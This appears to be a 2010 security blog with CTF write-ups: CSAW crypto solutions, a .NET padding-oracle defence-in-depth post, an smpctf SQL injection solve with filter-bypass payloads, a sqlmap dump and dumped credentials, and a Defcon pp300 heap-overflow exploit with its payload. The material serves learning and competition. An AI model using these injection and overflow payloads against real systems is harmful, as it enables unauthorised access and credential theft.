Launch the attack, and after 1800 requests we take a look of the results...
    Congratuations guest (of team guest)! You have successfully completed
       CSAW 2010 Crypto Challenge #2.

    Here's your flag: 8ee38021f40ef94e6725e9be07b49951

We solved that! and around 20 requests (of 1800) gave the correct answer...

Challenge 3

I lost the logs for this challenge, but seem that it contains a critical bug. As it can be observed on the statistics, 33 Teams solved the CRYPTO 3, too high compared to the teams which solved CRYPTO1 or CRYPTO2 (16-18), so something was wrong with this challenge ;p.

If we read the tip from the previous challenge:

For the next challenge, you need to specify to impersonate the Administrator user
User

Key

So, if we issue the following GET request, we had been solved this challenge (observe that it's a silly modification of the username, from Guest to Administrator)

http://128.238.66.100:30008/challenge3?user=Administrator&key=NGmPjZ4zfUlwl4DJdyoCfw

Flag: 2051dfd6eba0c8e4a989a4a575501506

Conclusions

As promised, I solved the challenges very quickly (around 30 min):

13	CRYPTO2	400	2010-09-25 21:17:23
12	CRYPTO1	300	2010-09-25 21:30:27
14	CRYPTO3	500	2010-09-25 21:38:34

It is necessary to remember that sometimes it doesn't matter how you solve the challenges, just need to solve it quickly, specifically on CTF :).

Microsoft .NET vulnerability and Defense In Depth

2010-09-30T16:16:00.000-07:00

A lot of people have spoken about the Microsoft vulnerability, but I´ve missed one thing in all of this...

First, I have to recognize that Microsoft designed very well this technology, and the proof is that, on my experience, a server developed on .NET is harder to exploit that Java/PHP. A default component (think on an ASP.NET ComboBox or DropDownList) includes enough validations against modifications that push us to try harder, focusing on the design errors or in the components that were developed from scratch (think about that beautiful upload feature ;p).

So, we have a cool technology (.NET) with a lovely design that is protected with sound cryptography. However, as the crypto seems to be "unbreakable", we feel brave enough to:

Put the configuration file (Web.config) on the root of the published web folder.
Have a nice script (WebResource.axd / ScriptResource.axd) able to deliver any (afaik) file on the web root.

The problem is that, eventually, the enemies will find a weakness on the only defense of our castle (cryptography), and all we know how the story ends... another good tale for Defense In Depth.

Finally a patch was released, but previously to these days, I read all the mitigations that were published by Microsoft and I missed one...

Ok, on the Web.config we have plenty of critical information (database credentials, encryption keys,...). So, why we don´t recommend to encrypt this information? Maybe I'm missing something, but with this remediation, the client will be able to sleep better using Defense In Depth (Protected Storage).

CTF´s hangover

2010-09-27T12:27:00.000-07:00

I´ve spent the last 2 weekends on two great CTFs:

RootedCON'2010 CTF: I love the challenges focused on web stuff. The good thing about this CTF is that it keeps pushing you until you try harder and find a solution. Finally i finished it on the top ten with some crazy approachs :). Thanks to roman_soft and dreyer for doing this challenge. If you missed it, be quickly, as it´ll be open some more weeks.

CSAW CTF: Typical CTF like Defcon prequals, nice challenges, but I wanted to see the solution of some "impossible" challenges (xss3, web300 and the bonus_crypto).

I´ll put some writeups of the CSAW challenge soon. The RootedCON writeup will wait until the contest is over, as I don't want to ruin people "fun" xD.

[smpctf] challenge #12 writeup (web-2)

2010-08-08T16:04:00.000-07:00

The last month I have a nice time playing the smpctf CTF, you can view all the writeups here.

After connecting to the web page, we spotted an html comment that gives a clue of what was happening :).
So, with this tip, we can infer that the webpage expects a parameter called “id”, let’s give it a try
http://66.225.157.70:8009/level2/?id=1

With the previous request, it gives a valid message with a username. After that, we started to try different SQL injection vectors, but we were unsuccessful. The good thing is that the different error messages that were shown helped us to focus on the correct direction.

Finally, we obtain an interesting finding: the server filtered all the spaces character ‘ ‘, so we need to make an injection without using spaces (0x20).

A quick look on an amazing post about evading tricky MySQL filters (here), help us to find the proper MySQL syntax to bypass the server filter.

After some tries, we found a valid injection:
http://66.225.157.70:8009/level2/?pass=asdfa&id=id/**/and/**/1=1%23/* => TRUE
http://66.225.157.70:8009/level2/?pass=asdfa&id=id/**/and/**/1=0%23/* => FALSE

After that, we used the excellent SQL Injection tool sqlmap (thanks Bernardo xD) in order to obtain a full dump of the database. The only problem is that the tool will use spaces on their SQL queries, so we need to find a way to automatically substitute these non-valid characters.

Finally I launch the Burp proxy, that have a cool feature called “match and replace”, so what I did was replace all the spaces with the string /**/ (MySQL comment). Lazy, but time-efficient ;p.

alex@localhost> python sqlmap.py -u 'http://66.225.157.70:8009/level2/?pass=asdfa&id=id' -p id --proxy=http://192.168.0.2:8080 --postfix='%23' --string=magik --current-db -T users -D level1 –dump

In order to make the previous command to work, we need to fool sqlmap on the first 3 queries: The tool test if the URL is stable (looking for the string ‘magik’), but it is not returned on the normal response (without injection). So, we changed these queries with burp in order to return the expected string and after that the injection was flawless.

After waiting some minutes we obtained the cookie that allow us to level up :).
+------------+----+---------------+-----------------+
| flag | id | name | pass |
+------------+----+---------------+-----------------+
| iR0ck | 1 | magik | newPass2 |
| HaHa | 2 | redsand | blaISAGHEYhorse |
| lolFLAGlol | 3 | cookieMonster | 50c43871 |
+------------+----+---------------+-----------------+

Submitting the flag lolFLAGlol will allow to solve this challenge, and earn some points :)

As an interesting note, I run sqlmap in order to obtain more info the MySQL server, and this is the info that I obtained. Yep, the database user was DBA, and we obtained a nice hash to be cracked on our spared time xD.

current database:    'level1'
banner:    '5.0.84'

current user is DBA:    'True'

available databases [3]:
[*] information_schema
[*] level1
[*] mysql

current user:    'root@localhost'

current database:    'level1'

current user is DBA:    'True'

database management system users [3]:
[*] 'root'@'127.0.0.1'
[*] 'root'@'localhost'
[*] 'root'@'slackware2-web-smp'

database management system users password hashes:
[*] root [1]:
    password hash: *E811D7768F080444F8D9ED913EEC8200FAD3C4FE
banner:    '5.0.84'

Database: level1
Table: users
[3 entries]
+------------+----+---------------+-----------------+
| flag       | id | name          | pass            |
+------------+----+---------------+-----------------+
| iR0ck      | 1 | magik         | newPass2        |
| HaHa       | 2 | redsand       | blaISAGHEYhorse |
| lolFLAGlol | 3 | cookieMonster | 50c43871        |
+------------+----+---------------+-----------------+

Defcon 18 CTF qualifiers: pp300

2010-05-25T12:48:00.000-07:00

Let's solve this challenge!!. After downloading the file, we check the file format:

defcon@bs:/defcon/pwtent$ file pp300_6fa2f9a0d6617d2e3.bin
pp300_6fa2f9a0d6617d2e3.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.18, dynamically linked (uses shared libs), stripped

And we tried to execute on our VM, but we'll need to setup properly the system:

defcon@bs:/defcon/pwtent$ ./pp300_6fa2f9a0d6617d2e3.bin

pp300_6fa2f9a0d6617d2e3.bin: Failed to find user fcfl
: Success

defcon@bs:/defcon/pwtent$ sudo useradd -m fcfl

fcfl@bs:/home$ ncat 127.0.0.1 5555
attempted /home/fcfl/user.db.
can't read user db, quitting
cya

fcfl@bs:~$ ./pp300_6fa2f9a0d6617d2e3.bin

fcfl@bs:/home$ ncat 127.0.0.1 5555

fantasy chicken farmin league
menu
c) create account
l) login
q) quit

Just note that for every request, the server create a new process to attend this connection:

fcfl@bs:~$ ps auxww | grep pp300
fcfl 9745 0.0 0.1 1996 608 pts/0 S 11:22 0:00 ./pp300_6fa2f9a0d6617d2e3.bin
fcfl 9747 0.0 0.0 1996 344 pts/0 S 11:22 0:00 ./pp300_6fa2f9a0d6617d2e3.bin

Let's examine the file :):
After dissasembling the file, we can find the main initialization code (0x08048d34):

For every new client, the server forks a process, that execute the code labelled "interactWithClient" (0x0804C18B):

As it can be observed on the "Graph overview", the structure of this function is very similar to a switch code, so basically this code interacts with the client and makes the appropiate calls depending of the user input.

If we look closer on this function, we can find an interesting piece of code (0x0804C509)

On the previous code, if the user enter the command "6" and if he's an admin (and has logged), the server will print the key stored on "/home/fcfl/key".

So, we need to find when this variable is set. Looking around, we'll find the following piece of code, located on the logging functionality (0x0804A8A1)

The code looks for the user structure (offset 0x38h) and test if this variable has a value greater than 0x000001f3h. If this condition is meet, the user will be logged with administrative privileges.

So, now we have a (limited) understanding on what we need to do: we need to find some way to alter this structure. As all the user information is read from the database file ("/home/fcfl/user.db") and stored on memory, we'll face with a heap overflow.

If we search for some "weak security" functions, we'll find an insecure strcpy on the code that manages the update user info (0x0804B148). This code is triggered if the user presses the "u" key.

.text:0804B2DF                 mov     dword ptr [esp+4], offset aWouldYouLike_4 ; "would you like to change office #(%s) ["...
.text:0804B2E7                 mov     eax, [ebp+fd]
.text:0804B2EA                 mov     [esp], eax      ; fd
.text:0804B2ED                 call    writeLine
.text:0804B2F2                 mov     eax, [ebp+nptr]
.text:0804B2F5                 mov     [esp+4], eax    ; int
.text:0804B2F9                 mov     eax, [ebp+fd]
.text:0804B2FC                 mov     [esp], eax      ; fd
.text:0804B2FF                 call    yesOrNo?
.text:0804B304                 cmp     al, 79h
.text:0804B306                 jnz     short loc_804B360
.text:0804B308                 mov     dword ptr [esp+4], offset aEnterNewOffice ; "enter new office: "
.text:0804B310                 mov     eax, [ebp+fd]
.text:0804B313                 mov     [esp], eax      ; fd
.text:0804B316                 call    writeLine
.text:0804B31B                 mov     dword ptr [esp+0Ch], 0Ah ; int
.text:0804B323                 mov     dword ptr [esp+8], 257h ; char
.text:0804B32B                 mov     eax, [ebp+nptr]
.text:0804B32E                 mov     [esp+4], eax    ; int
.text:0804B332                 mov     eax, [ebp+fd]
.text:0804B335                 mov     [esp], eax      ; fd
.text:0804B338                 call    readLine
.text:0804B33D                 mov     [ebp+var_18], eax
.text:0804B340                 mov     eax, [ebp+var_18]
.text:0804B343                 add     eax, [ebp+nptr]
.text:0804B346                 mov     byte ptr [eax], 0
.text:0804B349                 mov     edx, [ebp+nptr]
.text:0804B34C                 mov     eax, [ebp+dest]
.text:0804B34F                 add     eax, 86h
.text:0804B354                 mov     [esp+4], edx    ; src
.text:0804B358                 mov     [esp], eax      ; dest
.text:0804B35B                 call    _strcpy        <============== HERE

Then, if we put too much data on the "update office", we'll overflow the heap.

fcfl@bs:/home$ ncat 127.0.0.1 5555
menu    (a1)
   L) logout
   b) buy chickens
   i) incinerate money
   s) sell eggs
   p) display my info
   u) update my info
   q) quit
u
1: u
would you like to change username (a1) [y/n]: n
would you like to change user info () [y/n]: n
would you like to change office #() [y/n]: y
enter new office: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
would you like to change password [y/n]: [y/n][y/n][y/n]n
would you like to change uid(0) [y/n]: n
would you like to change you egg count(0) [y/n]: n
fcfl@bs:/home$

Done!!, seems that the overflow worked. If we attach a debugger to the fork'd process we can see that we overwrite too much data, causing a libc error, as we have corrupted the memory.

fcfl@bs:~$ ps auxww | grep pp300
fcfl      9745 0.0 0.1   1996   608 pts/0    S    11:22   0:00 ./pp300_6fa2f9a0d6617d2e3.bin
fcfl      9763 0.0 0.0   1996   340 pts/0    S    12:29   0:00 ./pp300_6fa2f9a0d6617d2e3.bin
fcfl@bs:~$ gdb program 9763
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
program: No such file or directory.
Attaching to process 9763
0xffffe424 in __kernel_vsyscall ()
(gdb) c
Continuing.
*** glibc detected *** ./pp300_6fa2f9a0d6617d2e3.bin: realloc(): invalid next size: 0x0868fd20 ***
(no debugging symbols found)
======= Backtrace: =========
...
======= Memory map: ========
...

Program received signal SIGABRT, Aborted.
0xffffe424 in __kernel_vsyscall ()
(gdb) c
Continuing.

Program terminated with signal SIGABRT, Aborted.
The program no longer exists.
The program is not being run.
(gdb)

Now we can overflow the user structure that is stored on memory, and maybe we'll be able to alter the variable isAdmin. As we need more info, I looked around the code to infer the data structure that stores all the user info.

Looking at 0x0804B148 (f_update_User_Info), 0x0804A6C0 (printUserInfo) and 0x0804B9E6 (createUser) we can enumerate all the fields of the structure.
sizeof(USER STRUCT) == 9Ch
username    0x00
password    0x14
??          0x35
isAdmin     0x38    <====
chickens    0x3c
monies      0x40
eggs        0x44
uid         0x48
*next        0x4c
*prev        0x50
info        0x54
office      0x86

So, we cannot modify the user field isAdmin, because the direction of the overflow is only made from lower to higher memory addresses.

This "problem" can be solved creating other accounts, expecting to find 2 accounts stored in consecutive memory addresses. The users are stored on memory using a double linked list (pointers *prev and *next)

Under these premises when we modified the first account, we'll overflow the data stored on the second account :).

So, on our test machine, we have created 2 accounts, and with the second account we'll be able to obtain the following info, using the command "p" (print user info).
1: p          (account #2)
868fb28
    chickens: 0
    eggs:     0
    monies:   1000
    id:       0
    username: a2
    info:
    office:
    password: be735284c5f497986e4c954fdf370286

    perm:     1
    next:     868fa30       <= account #1
    prev:     868f7e0

With this info we obtain:

Memory gap: 0x868fb28-0x868fa30-0x9c= 0xf8-0x9c=0x5c
Size of field 'office': 0x9c (size struct)-0x86 (offset field 'office')=0x16
len(Nops)=0x5c+0x16=0x72
Bytes until account 2 field 'isAdmin': 0x38 (must include username+encrypted key)
Bytes to overwrite (field 'isAdmin'): 2 bytes (value greater than 0x1f3h)
Total size= NOPs (0x72)+payload (0x3a)) == 0xAC== 172 bytes

So in order to exploit the server, we'll create a payload that will contain a valid USERNAME and a valid PASSWORD, that we'll give access to an Administrative account :).

We'll overwrite the username struct:username field (0x14 len) with random data, for example,
username: AAAAAAAAAAAAAAAA0000
The password field with a blank password (be735284c5f497986e4c954fdf370286)
And finally, we'll overwrite the 'isAdmin' field with a value greater that 0x1f3h (i.e. "00"==0x3030) So, finally the payload is "AAAAAAAAAAAAAAAA0000be735284c5f497986e4c954fdf37028600"

As it can be observed on the login function(0x0804A8B9), the username is tested against the user stored on the database with strcmp, so after overflow the memory, the username with the admin rights will have a name equal to the payload.
   exploit="ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZAAAAAAAAAAAAAAAA0000be735284c5f497986e4c954fdf370286AA0000"

username="AAAAAAAAAAAAAAAA0000be735284c5f497986e4c954fdf370286AA0000"

On my test machine it worked properly (create 2 accounts with blank passwords and then inject the data on the first user). But on the online system I spent some time creating users until I found 2 users which its info were stored on consecutive memory address (with distance 0xf8).

PoC:

      menu    (a)
     L) logout
     b) buy chickens
     i) incinerate money
     s) sell eggs
     p) display my info
     u) update my info
     q) quit
    u
    1: u
    would you like to change username (a) [y/n]: n
    would you like to change user info () [y/n]: n
    would you like to change office #() [y/n]: y
    enter new office: ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZAAAAAAAAAAAAAAAA0000be735284c5f497986e4c954fdf370286AA0000
    would you like to change password [y/n]: n
    ...
    finished updates
    menu    (a)
     L) logout
     b) buy chickens
     i) incinerate money
     s) sell eggs
     p) display my info
     u) update my info
     q) quit
    L
    1: L

    menu
     c) create account
     l) login
     q) quit
    l
    1: l
    enter username: AAAAAAAAAAAAAAAA0000be735284c5f497986e4c954fdf370286AA0000
    enter password:
    logged in!

    menu    (AAAAAAAAAAAAAAAA0000)
     L) logout
     b) buy chickens
     i) incinerate money
     s) sell eggs
     p) display my info
     u) update my info
     P) print userlist
     q) quit
    6
    1: 6
    funkymonkeyfartsaregolden
    So, the key is "funkymonkeyfartsaregolden". pp300 solved :)

Btw, I've created a PoC python script that automates the attack on a local machine (download).

My First Entry!

2010-05-25T06:19:00.000-07:00

Hi all.

Finally I've decided to share which the rest of the world my (little) knowledge about security, my thoughts and security paranoia’s ;p.

Enjoy!!!